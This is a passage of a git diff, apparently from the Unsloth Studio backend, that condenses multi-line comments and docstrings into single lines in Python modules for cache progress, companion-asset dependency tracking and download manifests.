hydration retired a job whose target is still usable.+ # The byte reading already walked the snapshot dir, whose entries are named per file, so it can answer whether a main shard of THIS quant is here; without it a repo dir kept alive by a sibling read as "zero bytes, cache_path names a directory" and was adopted as a resumable phantom. Across EVERY snapshot the entry retains, not only the newest: a quant living in an older revision read as absent and hydration retired a job whose target is still usable.scanned = _variant_present_in_any_snapshot(entry, variant_file_matcher)if scanned is not None:- # Unless the shared blobs/ dir holds an unattributable partial: an idle or restarted download- # whose hashes were refused has its bytes in an .incomplete blob no snapshot links.+ # Unless the shared blobs/ dir holds an unattributable partial: an idle or restarted download whose hashes were refused has its bytes in an .incomplete blob no snapshot links.target_present = None if (not scanned and unattributable_partial) else scannedreadings.append((@@ -660,21 +534,18 @@ def compute_snapshot_progress(selected = max(readings,- # complete_on_disk last-but-one: two remembered caches can clamp to the SAME byte total while only- # one has a manifest that verifies against disk, and root order then capped the response at 99%.+ # complete_on_disk last-but-one: two remembered caches can clamp to the SAME byte total while only one has a manifest that verifies against disk, and root order then capped the response at 99%.key = lambda item: (item[0] + item[1], bool(item[3]), item[0]),default = None,)if selected is None:- # Nothing measured AND a root that could not be listed: the cache may be entirely intact behind that- # error, so this is unknown, not gone.+ # Nothing measured AND a root that could not be listed: the cache may be entirely intact behind that error, so this is unknown, not gone.if scan_errors:return _empty_progress(expected_bytes, measured = False)return emptycompleted_bytes, in_progress_bytes, cache_path, complete_on_disk, target_present = selected- # Presence is a property of the SET of caches: a sibling-only repo dir and a cache still holding- # this variant's manifest both read as zero bytes, so a positive reading anywhere wins.+ # Presence is a property of the SET of caches: a sibling-only repo dir and a cache still holding this variant's manifest both read as zero bytes, so a positive reading anywhere wins.presence = [reading[4] for reading in readings]if any(verdict is True for verdict in presence):target_present = True@@ -682,17 +553,12 @@ def compute_snapshot_progress(# Absence needs EVERY scanned cache to say so: one unknown reading is not evidence the target is gone.target_present = Nonedownloaded_bytes = completed_bytes + in_progress_bytes- # A reading taken while some root could not be listed is only ever a LOWER bound: the active root- # raising EACCES/EIO while a remembered cache holds the repo dir gives target_present False and- # zero bytes, which hydration reads as "deleted". Downgrade absence claims to unknown; a positive- # reading is unaffected.+ # A reading taken while some root could not be listed is only ever a LOWER bound: the active root raising EACCES/EIO while a remembered cache holds the repo dir gives target_present False and zero bytes, which hydration reads as "deleted". Downgrade absence claims to unknown; a positive reading is unaffected.scan_incomplete = bool(scan_errors)if scan_incomplete:if not target_present:target_present = None- # Subtract the companion baseline only while it is still counted in completed_bytes and the- # variant is unverified, and never when it covers the whole expected total: that leaves- # "0 B of 0 B", which the frontend evicts as a dead job.+ # Subtract the companion baseline only while it is still counted in completed_bytes and the variant is unverified, and never when it covers the whole expected total: that leaves "0 B of 0 B", which the frontend evicts as a dead job.effective_baseline_bytes = (completed_baseline_bytesif (@@ -729,8 +595,7 @@ def compute_snapshot_progress("cache_measured": not scan_incomplete,}- # Cap at 0.99 until the manifest-backed disk check verifies completion: on resume, completed bytes- # can sit above the threshold while files still download.+ # Cap at 0.99 until the manifest-backed disk check verifies completion: on resume, completed bytes can sit above the threshold while files still download.progress = (1.0if complete_on_diskdiff --git a/studio/backend/hub/utils/companion_assets.py b/studio/backend/hub/utils/companion_assets.pyindex 0e67986227b..e0d8ddab70b 100644--- a/studio/backend/hub/utils/companion_assets.py+++ b/studio/backend/hub/utils/companion_assets.py@@ -1,33 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Which cached repos are companion assets, and which installed models still need them.--An image or video GGUF ships only the denoiser. Everything else the pipeline needs -- text-encoders, VAE, tokenizer, scheduler and the pipeline manifest -- comes from a separate-*companion base repo*, cached under its own ``models--`` directory. It is routinely the larger-half: FLUX.2 klein 4B is 2.6 GB of Q4_K_M against 8.23 GB of companions, and one copy serves-every quant in the GGUF repo.--That sharing is what makes deletion delicate. Two questions have to be answerable without a-counter, because a counter that drifts is worse than none:-- "is this repo a companion base?" -> :func:`is_companion_base`- "what still needs it, right now?" -> :func:`required_companion_bases`--Both are DERIVED at call time from what is installed, using the same resolvers the loader uses-to pick a base (``detect_family_for_pick`` + ``resolve_base_repo`` + ``mirror_repo``). If family-detection fails for a cached repo, the loader cannot load it either, so there is no dependent to-protect -- the derivation and the thing it protects fail together, by construction.--The one case derivation cannot see offline is a checkpoint whose base comes from its Hub card's-``base_model`` tag rather than the family default (``_resolve_base_repo``), because a GGUF pick-caches only the ``.gguf`` file, never the card. :func:`record_companion_link` closes that: the-resolver records the pair it chose, and the reader unions those links into the derived set. It-is a LINK, not a count -- an entry can only ever ADD a dependent, is filtered by "is that-checkpoint still installed", and its loss degrades to the family default rather than to a wrong-answer. Nothing here deletes; callers do, and only for a base with an empty dependent set.-"""+"""Which cached repos are companion assets, and which installed models still need them. An image or video GGUF ships only the denoiser; everything else the pipeline needs (text encoders, VAE, tokenizer, scheduler and the pipeline manifest) comes from a separate *companion base repo* cached under its own ``models--`` directory, routinely the larger half: FLUX.2 klein 4B is 2.6 GB of Q4_K_M against 8.23 GB of companions, and one copy serves every quant in the GGUF repo. That sharing is what makes deletion delicate: "is this repo a companion base?" (:func:`is_companion_base`) and "what still needs it, right now?" (:func:`required_companion_bases`) both have to be answerable without a counter, because a counter that drifts is worse than none. Both are DERIVED at call time from what is installed, using the same resolvers the loader uses to pick a base (``detect_family_for_pick`` + ``resolve_base_repo`` + ``mirror_repo``), so if family detection fails for a cached repo the loader cannot load it either and there is no dependent to protect: the derivation and the thing it protects fail together. The one case derivation cannot see offline is a checkpoint whose base comes from its Hub card's ``base_model`` tag rather than the family default (``_resolve_base_repo``), because a GGUF pick caches only the ``.gguf`` file, never the card. :func:`record_companion_link` closes that: the resolver records the pair it chose and the reader unions those links into the derived set. It is a LINK, not a count: an entry can only ever ADD a dependent, is filtered by "is that checkpoint still installed", and its loss degrades to the family default rather than to a wrong answer. Nothing here deletes; callers do, and only for a base with an empty dependent set."""from __future__ import annotations@@ -51,8 +25,7 @@ _LINKS_VERSION = 1_MAX_LINKS = 512# ... and per checkpoint, for the same reason: one key must not grow the file on its own._MAX_BASES_PER_CHECKPOINT = 16-# Serialises the read-modify-write below: losing a link to a lost update is the one direction that-# matters, since an unrecorded base can look orphaned and be offered for removal.+# Serialises the read-modify-write below: losing a link to a lost update is the one direction that matters, since an unrecorded base can look orphaned and be offered for removal._WRITE_LOCK = threading.Lock()@@ -68,11 +41,7 @@ def _normalise(repo_id: Optional[str]) -> str:def read_companion_links() -> dict[str, list[str]]:- """``{checkpoint_repo_id_lower: [base_repo_id, ...]}`` recorded by past resolutions.-- Fails OPEN: a missing, unreadable or schema-mismatched file yields ``{}`` and every caller- falls back to family-default derivation, which is what shipped before this file existed.- """+ """``{checkpoint_repo_id_lower: [base_repo_id, ...]}`` recorded by past resolutions. Fails OPEN: a missing, unreadable or schema-mismatched file yields ``{}`` and every caller falls back to family-default derivation, which is what shipped before this file existed."""path = _links_path()if path is None:return {}@@ -100,7 +69,6 @@ def _write_companion_links(links: dict[str, list[str]]) -> bool:if path is None:return Falseif len(links) > _MAX_LINKS:- # dicts preserve insertion order, so this drops the oldest recorded checkpoints.links = dict(list(links.items())[-_MAX_LINKS:])payload = {"version": _LINKS_VERSION, "links": links}tmp = path.with_name(f".{path.name}.tmp-{uuid.uuid4().hex[:8]}")@@ -119,18 +87,11 @@ def _write_companion_links(links: dict[str, list[str]]) -> bool:def record_companion_link(checkpoint_repo_id: str, base_repo_id: str) -> bool:- """Remember that *checkpoint_repo_id* resolves its companions from *base_repo_id*.-- Called from the base resolvers, so it sees every pick the product makes. Additive and- idempotent; a self-reference (a full pipeline is its own base) is dropped, since it would- make the pipeline look like a dependent of itself and block its own deletion forever.- Best-effort: a write failure is logged at debug and never reaches the caller's load.- """+ """Remember that *checkpoint_repo_id* resolves its companions from *base_repo_id*. Called from the base resolvers, so it sees every pick the product makes. Additive and idempotent; a self-reference (a full pipeline is its own base) is dropped, since it would make the pipeline look like a dependent of itself and block its own deletion forever. Best-effort: a write failure is logged at debug and never reaches the caller's load."""checkpoint = (checkpoint_repo_id or "").strip()base = (base_repo_id or "").strip()if not checkpoint or not base or _normalise(checkpoint) == _normalise(base):return False- # A local filesystem path is not a Hub id and never appears in a cache scan.if ("/" not in checkpoint.replace("\\", "/").strip("/")or Path(checkpoint).expanduser().exists()@@ -144,11 +105,9 @@ def record_companion_link(checkpoint_repo_id: str, base_repo_id: str) -> bool:key = _normalise(checkpoint)existing = links.get(key, [])known = any(_normalise(b) == _normalise(base) for b in existing)- # Re-inserted at the end, not updated in place: recording is the only recency signal the trim has,- # and returning early on a REPEAT resolution let the cap throw away the most-used link.+ # Re-inserted at the end, not updated in place: recording is the only recency signal the trim has, and returning early on a REPEAT resolution let the cap throw away the most-used link.links.pop(key, None)- # Recency inside the list too, and capped: an explicit base_repo or a changing card tag makes one- # checkpoint resolve a new base each load, and appending forever grew the file _MAX_LINKS bounds.+ # Recency inside the list too, and capped: an explicit base_repo or a changing card tag makes one checkpoint resolve a new base each load, and appending forever grew the file _MAX_LINKS bounds.fresh = [b for b in existing if _normalise(b) != _normalise(base)]links[key] = [*fresh, base][-_MAX_BASES_PER_CHECKPOINT:]wrote = _write_companion_links(links)@@ -157,13 +116,7 @@ def record_companion_link(checkpoint_repo_id: str, base_repo_id: str) -> bool:def _snapshot_relative_names(repo) -> Iterable[str]:- """Every cached file of *repo* as a SNAPSHOT-RELATIVE posix name.-- ``CachedFileInfo.file_name`` is the basename alone; the path inside the snapshot only comes- back from ``file_path`` relative to ``snapshot_path``. Family detection reads the whole- relative name, so a GGUF filed under ``FLUX.2-klein/model-Q4_K_M.gguf`` is a dependent that a- basename-only scan cannot see. The inventory and cleanup scanners already reconstruct it this- way; this is the same reconstruction, so all three agree on what a cached file is called."""+ """Every cached file of *repo* as a SNAPSHOT-RELATIVE posix name. ``CachedFileInfo.file_name`` is the basename alone; the path inside the snapshot only comes back from ``file_path`` relative to ``snapshot_path``. Family detection reads the whole relative name, so a GGUF filed under ``FLUX.2-klein/model-Q4_K_M.gguf`` is a dependent that a basename-only scan cannot see. The inventory and cleanup scanners already reconstruct it this way; this is the same reconstruction, so all three agree on what a cached file is called."""from hub.services.models.cache_inventory import cached_repo_filesfor revision in getattr(repo, "revisions", ()) or ():snapshot = getattr(revision, "snapshot_path", None)@@ -180,12 +133,7 @@ def _snapshot_relative_names(repo) -> Iterable[str]:def holds_denoiser(name: str) -> bool:- """A denoiser weight by NAME alone: a GGUF anywhere, or a shard under the denoiser folder.-- Its presence is what separates a checkpoint the user installed from a companion-only fetch,- which takes everything BUT the denoiser folder. Use :func:`repo_holds_denoiser` where the repo- is available: an SDXL-style whole-pipeline single file is a denoiser too, and only the repo's- family says so."""+ """A denoiser weight by NAME alone: a GGUF anywhere, or a shard under the denoiser folder. Its presence is what separates a checkpoint the user installed from a companion-only fetch, which takes everything BUT the denoiser folder. Use :func:`repo_holds_denoiser` where the repo is available: an SDXL-style whole-pipeline single file is a denoiser too, and only the repo's family says so."""lowered = name.lower()if lowered.endswith(".gguf"):return True@@ -197,19 +145,7 @@ _WEIGHT_SUFFIXES = (".safetensors", ".bin", ".ckpt", ".pt", ".pth", ".gguf")def repo_holds_denoiser(repo) -> bool:- """Whether *repo* holds a runnable checkpoint, i.e. is a model the user installed.-- Beyond the name-only test: a single_file pick caches its checkpoint as ONE top-level file,- ``sd_xl_base_1.0.safetensors`` for a whole-pipeline family and ``flux2-dev-fp8.safetensors``- for a transformer-only one, with no denoiser folder to recognise. Those repos are curated- companion bases whose self-dependency is dropped, so without this the orphan listing called an- installed checkpoint an unused leftover and Free up space deleted it. A companion-only fetch- never lands a weight at the snapshot root, and the two ways to be wrong are not symmetric: an- orphan we decline to offer costs disk, a checkpoint we offer costs the model.-- The one root weight that is NOT a checkpoint is the curated component repos' own asset, which- is why they are excluded by id: a single-file VAE or text encoder is the companion, and- reading it as an installed model is what kept an orphaned pair pinned to disk."""+ """Whether *repo* holds a runnable checkpoint, i.e. is a model the user installed. Beyond the name-only test: a single_file pick caches its checkpoint as ONE top-level file, ``sd_xl_base_1.0.safetensors`` for a whole-pipeline family and ``flux2-dev-fp8.safetensors`` for a transformer-only one, with no denoiser folder to recognise. Those repos are curated companion bases whose self-dependency is dropped, so without this the orphan listing called an installed checkpoint an unused leftover and Free up space deleted it. A companion-only fetch never lands a weight at the snapshot root, and the two ways to be wrong are not symmetric: an orphan we decline to offer costs disk, a checkpoint we offer costs the model. The one root weight that is NOT a checkpoint is the curated component repos' own asset, which is why they are excluded by id: a single-file VAE or text encoder is the companion, and reading it as an installed model is what kept an orphaned pair pinned to disk."""names = list(_snapshot_relative_names(repo))if any(holds_denoiser(name) for name in names):return True@@ -235,13 +171,7 @@ def _component_only_repo_ids() -> set[str]:def _is_checkpoint_pick_name(name: str) -> bool:- """A cached file the loader would hand to ``detect_family_for_pick`` as the pick.-- Both kinds it accepts: a main GGUF anywhere in the repo, and a TOP-LEVEL single-file- ``.safetensors``, which is how a transformer-only or whole-pipeline single_file pick is- cached. Restricted to the snapshot root because that is where a single-file pick lands; a- companion fetch's shards live under ``text_encoder/``, ``vae/`` and friends and say nothing- about which checkpoint is installed."""+ """A cached file the loader would hand to ``detect_family_for_pick`` as the pick. Both kinds it accepts: a main GGUF anywhere in the repo, and a TOP-LEVEL single-file ``.safetensors``, which is how a transformer-only or whole-pipeline single_file pick is cached. Restricted to the snapshot root because that is where a single-file pick lands; a companion fetch's shards live under ``text_encoder/``, ``vae/`` and friends and say nothing about which checkpoint is installed."""lowered = name.lower()if lowered.endswith(".gguf"):return "mmproj" not in lowered@@ -249,17 +179,7 @@ def _is_checkpoint_pick_name(name: str) -> bool:def _cached_checkpoint_pick_names(cache_scans) -> dict[str, list[str]]:- """``{repo_id_lower: [every cached file the loader could pick]}`` for the family probe below.-- Both diffusion loaders detect a family from the FILENAME as well as the repo id, so a- perfectly runnable ``some-owner/custom`` holding ``flux-2-klein-4b-Q4_K_M.gguf`` is a- dependent that a repo-id-only probe cannot see. That matters most where there is nothing else- to fall back on: on an upgraded install no links have been recorded yet, so the family probe- is the whole guard.-- EVERY name, and across EVERY cache root: one generic repo can hold checkpoints of two- different families, in separate subdirectories or in two remembered caches, and the loader- will select any of them by file name. Probing one left the others' bases looking orphaned."""+ """``{repo_id_lower: [every cached file the loader could pick]}`` for the family probe below. Both diffusion loaders detect a family from the FILENAME as well as the repo id, so a perfectly runnable ``some-owner/custom`` holding ``flux-2-klein-4b-Q4_K_M.gguf`` is a dependent that a repo-id-only probe cannot see. That matters most where there is nothing else to fall back on: on an upgraded install no links have been recorded yet, so the family probe is the whole guard. EVERY name, and across EVERY cache root: one generic repo can hold checkpoints of two different families, in separate subdirectories or in two remembered caches, and the loader will select any of them by file name, so probing one left the others' bases looking orphaned."""names: dict[str, list[str]] = {}for scan in cache_scans or ():for repo in getattr(scan, "repos", ()) or ():@@ -305,15 +225,7 @@ def _family_bases_for_names(repo_id: str, gguf_filenames: Iterable[Optional[str]def _family_bases(repo_id: str, gguf_filename: Optional[str] = None) -> set[str]:- """Companion base ids *repo_id* could resolve to, from the family tables alone.-- Both identities: the upstream the tables key on and its ungated unsloth mirror, because- ``prefer_ungated_mirror`` picks between them per fetch and either may be what landed on disk.-- ``gguf_filename`` is a cached checkpoint from this repo, passed for the same reason the- loaders pass it: a repo whose family keyword appears only in the file name still loads, and a- dependent this probe cannot see is a companion cleanup will happily delete underneath it.- """+ """Companion base ids *repo_id* could resolve to, from the family tables alone. Both identities: the upstream the tables key on and its ungated unsloth mirror, because ``prefer_ungated_mirror`` picks between them per fetch and either may be what landed on disk. ``gguf_filename`` is a cached checkpoint from this repo, passed for the same reason the loaders pass it: a repo whose family keyword appears only in the file name still loads, and a dependent this probe cannot see is a companion cleanup will happily delete underneath it."""try:from core.inference.diffusion_families import (detect_family_for_pick,@@ -327,38 +239,17 @@ def _family_bases(repo_id: str, gguf_filename: Optional[str] = None) -> set[str]except Exception: # noqa: BLE001return set()if fam is None:- # The loader resolves a base with this same call, so no family means no load and there is no- # dependent here to protect: the two fail together.+ # The loader resolves a base with this same call, so no family means no load and there is no dependent here to protect: the two fail together.return set()bases = {resolve_base_repo(fam, None)}bases |= _curated_variant_bases(fam, repo_id, gguf_filename)- # The NATIVE engine never reads the diffusers base: it fetches a single-file VAE and text encoder- # from their own repos, and those repos are offerable for deletion, so a pre-existing native GGUF- # with no recorded link would have had its encoder listed as unused and removed underneath it. The- # recorded links cover a load that has happened since; this covers the install that predates them.+ # The NATIVE engine never reads the diffusers base: it fetches a single-file VAE and text encoder from their own repos, and those repos are offerable for deletion, so a pre-existing native GGUF with no recorded link would have had its encoder listed as unused and removed underneath it. The recorded links cover a load that has happened since; this covers the install that predates them.bases |= {repo for repo, _file in _sd_cpp_component_specs(fam, repo_id, gguf_filename)}return _with_mirrors(bases)def _curated_variant_bases(fam, repo_id: str, gguf_filename: Optional[str]) -> set[str]:- """Curated bases of *fam* that the checkpoint's own identity names, beyond the family default.-- One family entry serves several sizes, and which one a pick uses comes from the Hub card's- ``base_model`` tag. Offline that tag is gone, so ``resolve_base_repo(fam, None)`` answers the- family DEFAULT: an installed ``unsloth/FLUX.2-klein-9B-GGUF`` derived as needing the 4B base,- while its cached ``black-forest-labs/FLUX.2-klein-9B`` had no dependent at all. That base is- in the curated offerable set, so before the checkpoint's first recorded load Free up space- would list it and delete the companions of a model that is still installed.-- Conservative on both ends. Candidates come only from the curated tables, only from entries- belonging to THIS family, and only when the checkpoint id or its GGUF file name names the- base -- so a wrong guess can add a dependent, never invent a repo. Naming one base too many- costs a delete that is refused; naming one too few costs an installed model.-- Matched with punctuation folded away, the way family detection accepts its own aliases:- ``flux1-dev-Q4_K_M.gguf`` resolves to the flux.1 family, and a literal comparison against the- curated name ``FLUX.1-dev`` missed it over one dot, leaving the dev base offerable while the- dev checkpoint was installed."""+ """Curated bases of *fam* that the checkpoint's own identity names, beyond the family default. One family entry serves several sizes, and which one a pick uses comes from the Hub card's ``base_model`` tag. Offline that tag is gone, so ``resolve_base_repo(fam, None)`` answers the family DEFAULT: an installed ``unsloth/FLUX.2-klein-9B-GGUF`` derived as needing the 4B base, while its cached ``black-forest-labs/FLUX.2-klein-9B`` had no dependent at all, and since that base is in the curated offerable set, Free up space would list it before the checkpoint's first recorded load and delete the companions of a model that is still installed. Conservative on both ends: candidates come only from the curated tables, only from entries belonging to THIS family, and only when the checkpoint id or its GGUF file name names the base, so a wrong guess can add a dependent, never invent a repo, and naming one base too many costs a delete that is refused while naming one too few costs an installed model. Matched with punctuation folded away, the way family detection accepts its own aliases: ``flux1-dev-Q4_K_M.gguf`` resolves to the flux.1 family, and a literal comparison against the curated name ``FLUX.1-dev`` missed it over one dot, leaving the dev base offerable while the dev checkpoint was installed."""family = _fold(getattr(fam, "name", "") or "")if not family:return set()@@ -391,10 +282,7 @@ def _curated_base_ids() -> set[str]:def _sd_cpp_component_specs(fam, repo_id: str, gguf_filename: Optional[str]) -> set[tuple[str, str]]:- """``(repo, filename)`` for every single-file VAE / text encoder an sd.cpp load of *fam*- opens. The FILENAME matters as much as the repo: the Qwen-Image encoder is one named quant- inside a chat GGUF repo, so a sibling quant in the same repo is not a substitute for it.- Never raises."""+ """``(repo, filename)`` for every single-file VAE / text encoder an sd.cpp load of *fam* opens. The FILENAME matters as much as the repo: the Qwen-Image encoder is one named quant inside a chat GGUF repo, so a sibling quant in the same repo is not a substitute for it. Never raises."""specs: set[tuple[str, str]] = set()try:from core.inference.diffusion_families import sd_cpp_text_encoder_candidates@@ -402,8 +290,7 @@ def _sd_cpp_component_specs(vae = getattr(fam, "sd_cpp_vae", None)if vae and vae[0]:specs.add((vae[0], vae[1]))- # EVERY set the family could pick: there is no header to read and a renamed FLUX.2-klein 9B file- # carries no size token, so guessing answers 4B and leaves the 9B encoder unprotected.+ # EVERY set the family could pick: there is no header to read and a renamed FLUX.2-klein 9B file carries no size token, so guessing answers 4B and leaves the 9B encoder unprotected.for encoder in sd_cpp_text_encoder_candidates(fam) or ():if encoder and encoder[0]:specs.add((encoder[0], encoder[1]))@@ -413,16 +300,10 @@ def _sd_cpp_component_specs(def required_companion_asset_files(cache_scans) -> dict[str, set[str]]:- """``{repo_id_lower: {filename, ...}}`` the installed checkpoints' native loads actually open.-- The repo-level view cannot answer a VARIANT delete. Native Qwen-Image opens exactly- ``Qwen2.5-VL-7B-Instruct-Q4_K_M.gguf`` inside a chat GGUF repo, so removing that one quant- strands the image checkpoint even though the repo still holds a Q8_0 nobody can substitute.- """+ """``{repo_id_lower: {filename, ...}}`` the installed checkpoints' native loads actually open. The repo-level view cannot answer a VARIANT delete: native Qwen-Image opens exactly ``Qwen2.5-VL-7B-Instruct-Q4_K_M.gguf`` inside a chat GGUF repo, so removing that one quant strands the image checkpoint even though the repo still holds a Q8_0 nobody can substitute."""pick_names = _cached_checkpoint_pick_names(cache_scans)files: dict[str, set[str]] = {}for repo_id in _cached_model_repo_ids(cache_scans):- # One repo can hold checkpoints of two families, and each opens its own components.for name in dict.fromkeys([None, *pick_names.get(_normalise(repo_id), [])]):fam = _detect_family(repo_id, name)if fam is None:@@ -443,14 +324,7 @@ def _detect_family(repo_id: str, gguf_filename: Optional[str]):def _with_mirrors(bases: Iterable[str]) -> set[str]:- """Every id one companion base can be cached under: itself, the upstream it copies, its- ungated mirror, and the community repack that mirror stands in for.-- The repack matters as much as the mirror. ``prefer_cached_legacy_source`` deliberately sends- the native fetch back to a repack an upgraded install already holds, so on those machines the- bytes protecting an installed GGUF sit under the OLD repo key and nothing else names it. The- live loaded-repo guard in the sd.cpp backend already expands all four; this is the same set,- for the recorded links."""+ """Every id one companion base can be cached under: itself, the upstream it copies, its ungated mirror, and the community repack that mirror stands in for. The repack matters as much as the mirror: ``prefer_cached_legacy_source`` deliberately sends the native fetch back to a repack an upgraded install already holds, so on those machines the bytes protecting an installed GGUF sit under the OLD repo key and nothing else names it. The live loaded-repo guard in the sd.cpp backend already expands all four; this is the same set, for the recorded links."""try:from core.inference.diffusion_families import (canonical_base,@@ -478,17 +352,10 @@ def _with_mirrors(bases: Iterable[str]) -> set[str]:def known_companion_base_ids() -> set[str]:- """Every id (lowercased) that is a curated image-family companion base, or its mirror.-- Deliberately NOT "anything a link ever named": orphan cleanup offers only repos this set- recognises, so a mis-recorded link can never turn an unrelated repo into a delete candidate.- """- # The pairs are companion bases by construction, existing only because a GGUF pick of that family- # needs an ungated copy, and they cover the variants one family entry serves through a card tag.+ """Every id (lowercased) that is a curated image-family companion base, or its mirror. Deliberately NOT "anything a link ever named": orphan cleanup offers only repos this set recognises, so a mis-recorded link can never turn an unrelated repo into a delete candidate."""+ # The pairs are companion bases by construction, existing only because a GGUF pick of that family needs an ungated copy, and they cover the variants one family entry serves through a card tag.bases = _curated_base_ids()- # The native engine's component-only repos ARE the companions for an sd.cpp pick, and the largest- # half of the footprint; leaving them out made them link-only strangers. Safe against a chat model- # borrowed as a text encoder, since the orphan listing skips any repo holding a GGUF.+ # The native engine's component-only repos ARE the companions for an sd.cpp pick, and the largest half of the footprint; leaving them out made them link-only strangers. Safe against a chat model borrowed as a text encoder, since the orphan listing skips any repo holding a GGUF.try:from core.inference.diffusion_families import sd_cpp_companion_only_repo_idsbases |= set(sd_cpp_companion_only_repo_ids())@@ -498,9 +365,7 @@ def known_companion_base_ids() -> set[str]:def _mirror_pair_ids() -> set[str]:- # The WHOLE table, gated and ungated: gating decides whether a fetch may override a user's cache,- # not whether a base can strand companions, so reading only the gated half would offer an- # installed checkpoint's companions for deletion.+ # The WHOLE table, gated and ungated: gating decides whether a fetch may override a user's cache, not whether a base can strand companions, so reading only the gated half would offer an installed checkpoint's companions for deletion.try:from core.inference.diffusion_families import _MIRROR_PAIRSexcept Exception: # noqa: BLE001@@ -509,19 +374,11 @@ def _mirror_pair_ids() -> set[str]:def is_companion_base(repo_id: str) -> bool:- """Whether deleting *repo_id* could strand an installed model's companions.-- Wider than :func:`known_companion_base_ids` on purpose, and the two are conservative in- opposite directions. This one gates a REFUSAL, so it also admits any base a recorded link- names: a checkpoint whose base came from its card tag can point anywhere, and missing it- would leave exactly the hole this guard exists to close. :func:`known_companion_base_ids`- gates an OFFER TO DELETE, so it stays table-only and a bad link can never reach it.- """+ """Whether deleting *repo_id* could strand an installed model's companions. Wider than :func:`known_companion_base_ids` on purpose, and the two are conservative in opposite directions: this one gates a REFUSAL, so it also admits any base a recorded link names, since a checkpoint whose base came from its card tag can point anywhere and missing it would leave exactly the hole this guard exists to close, while :func:`known_companion_base_ids` gates an OFFER TO DELETE, so it stays table-only and a bad link can never reach it."""key = _normalise(repo_id)if key in known_companion_base_ids():return True- # Through the same identity expansion required_companion_bases uses, so the two agree WHICH copy- # is protected: comparing the literal id left an upgraded install's repack copy deletable.+ # Through the same identity expansion required_companion_bases uses, so the two agree WHICH copy is protected: comparing the literal id left an upgraded install's repack copy deletable.return any(key in {_normalise(rid) for rid in _with_mirrors([base])}for bases in read_companion_links().values()@@ -551,13 +408,7 @@ def _cached_model_repo_ids(cache_scans) -> list[str]:def required_companion_bases(cache_scans, *, ignore_repo_ids: Iterable[str] = ()) -> dict[str, set[str]]:- """``{base_repo_id_lower: {checkpoint repo ids that still need it}}``.-- Derived from *cache_scans* -- what is installed at this instant -- unioned with the recorded- links of those same installed checkpoints. *ignore_repo_ids* is the delete being previewed:- dropping it answers "what would still need this base AFTER the delete" without mutating- anything. A repo never counts as its own dependent.- """+ """``{base_repo_id_lower: {checkpoint repo ids that still need it}}``. Derived from *cache_scans*, what is installed at this instant, unioned with the recorded links of those same installed checkpoints. *ignore_repo_ids* is the delete being previewed: dropping it answers "what would still need this base AFTER the delete" without mutating anything. A repo never counts as its own dependent."""ignored = {_normalise(r) for r in ignore_repo_ids}links = read_companion_links()pick_names = _cached_checkpoint_pick_names(cache_scans)@@ -571,8 +422,7 @@ def required_companion_bases(recorded = links.get(key)if recorded:bases |= _with_mirrors(recorded)- # Canonical, not literal: a cached MIRROR resolves its own family back to the UPSTREAM id, which- # would make each identity a dependent of the other and leave a cache holding both stuck.+ # Canonical, not literal: a cached MIRROR resolves its own family back to the UPSTREAM id, which would make each identity a dependent of the other and leave a cache holding both stuck.self_keys = {key, _normalise(_canonical(repo_id))}for base in bases:base_key = _normalise(base)@@ -583,20 +433,7 @@ def required_companion_bases(def _cached_component_only_repo_ids(cache_scans) -> set[str]:- """Cached curated component repos holding no denoiser: companions, never checkpoints.-- Several of those ids carry a family keyword of their own -- ``unsloth/FLUX.2-dev-ComfyUI``- detects as flux.2-dev -- so the loop above read a bare text-encoder fetch as an installed- checkpoint and recorded the sibling VAE as still required. The orphaned pair then held each- other on disk: Free up space would not list them and a delete was refused, until the user- happened to remove one component first. A repo that does hold a denoiser is a model the user- installed and still counts, which is what keeps a borrowed chat GGUF a dependent of nothing- and a checkpoint of itself.-- Through the same identity expansion the rest of this file uses, because an upgraded install- holds the component under the legacy repack id the native fetch fell back to- (``Comfy-Org/flux2-dev`` for ``unsloth/FLUX.2-dev-ComfyUI``). That id matches the flux.2-dev- family just as literally, so leaving it out kept the very caches this exclusion is for."""+ """Cached curated component repos holding no denoiser: companions, never checkpoints. Several of those ids carry a family keyword of their own (``unsloth/FLUX.2-dev-ComfyUI`` detects as flux.2-dev) so the loop above read a bare text-encoder fetch as an installed checkpoint and recorded the sibling VAE as still required, and the orphaned pair then held each other on disk: Free up space would not list them and a delete was refused, until the user happened to remove one component first. A repo that does hold a denoiser is a model the user installed and still counts, which is what keeps a borrowed chat GGUF a dependent of nothing and a checkpoint of itself. Through the same identity expansion the rest of this file uses, because an upgraded install holds the component under the legacy repack id the native fetch fell back to (``Comfy-Org/flux2-dev`` for ``unsloth/FLUX.2-dev-ComfyUI``), which matches the flux.2-dev family just as literally, so leaving it out kept the very caches this exclusion is for."""curated = _component_only_repo_ids()if not curated:return set()diff --git a/studio/backend/hub/utils/download_manifest.py b/studio/backend/hub/utils/download_manifest.pyindex 6c7d9188e56..5ba5d432ec2 100644--- a/studio/backend/hub/utils/download_manifest.py+++ b/studio/backend/hub/utils/download_manifest.py@@ -1,33 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Hub download manifest + cancel-marker primitives.--Manifests record what a download was supposed to fetch (path + declared-size per expected file). Consumed by:- - the worker post-download, to verify on-disk sizes match what HF- declared, so a resume that no-ops doesn't get classified as success;- - the inventory scanner, to mark a row partial when expected files- are absent or undersized, so a half-finished GGUF/dataset doesn't- masquerade as a complete on-device row.--Cancel markers record that a user-initiated cancel landed for a-(repo_type, repo_id, variant) triple. *Existence* is the signal the-scanner reads; the body carries debuggability metadata. Markers are-cleared at the start of a new download attempt (supersedes prior cancel)-and on successful completion (defensive, in case the start clear failed).--I/O contracts:- - Writes are atomic via ``tmp + os.replace``: a SIGKILL mid-write- cannot leave a half-written file readable to the next reader.- - Manifest reads fail *open*: missing/corrupt/schema-mismatched- manifests return ``None`` and the scanner falls through to the- legacy on-disk-only check (matches HF-cache imports and pre-fix- downloads that never wrote a manifest).- - Cancel-marker reads fail *closed*: file existence is the signal- regardless of body parseability, so a corrupt marker still- suppresses the "on device" classification.-"""+"""Hub download manifest + cancel-marker primitives. Manifests record what a download was supposed to fetch (path + declared size per expected file), consumed by the worker post-download to verify on-disk sizes match what HF declared, so a resume that no-ops is not classified as success, and by the inventory scanner to mark a row partial when expected files are absent or undersized, so a half-finished GGUF/dataset does not masquerade as complete. Cancel markers record that a user-initiated cancel landed for a (repo_type, repo_id, variant) triple: 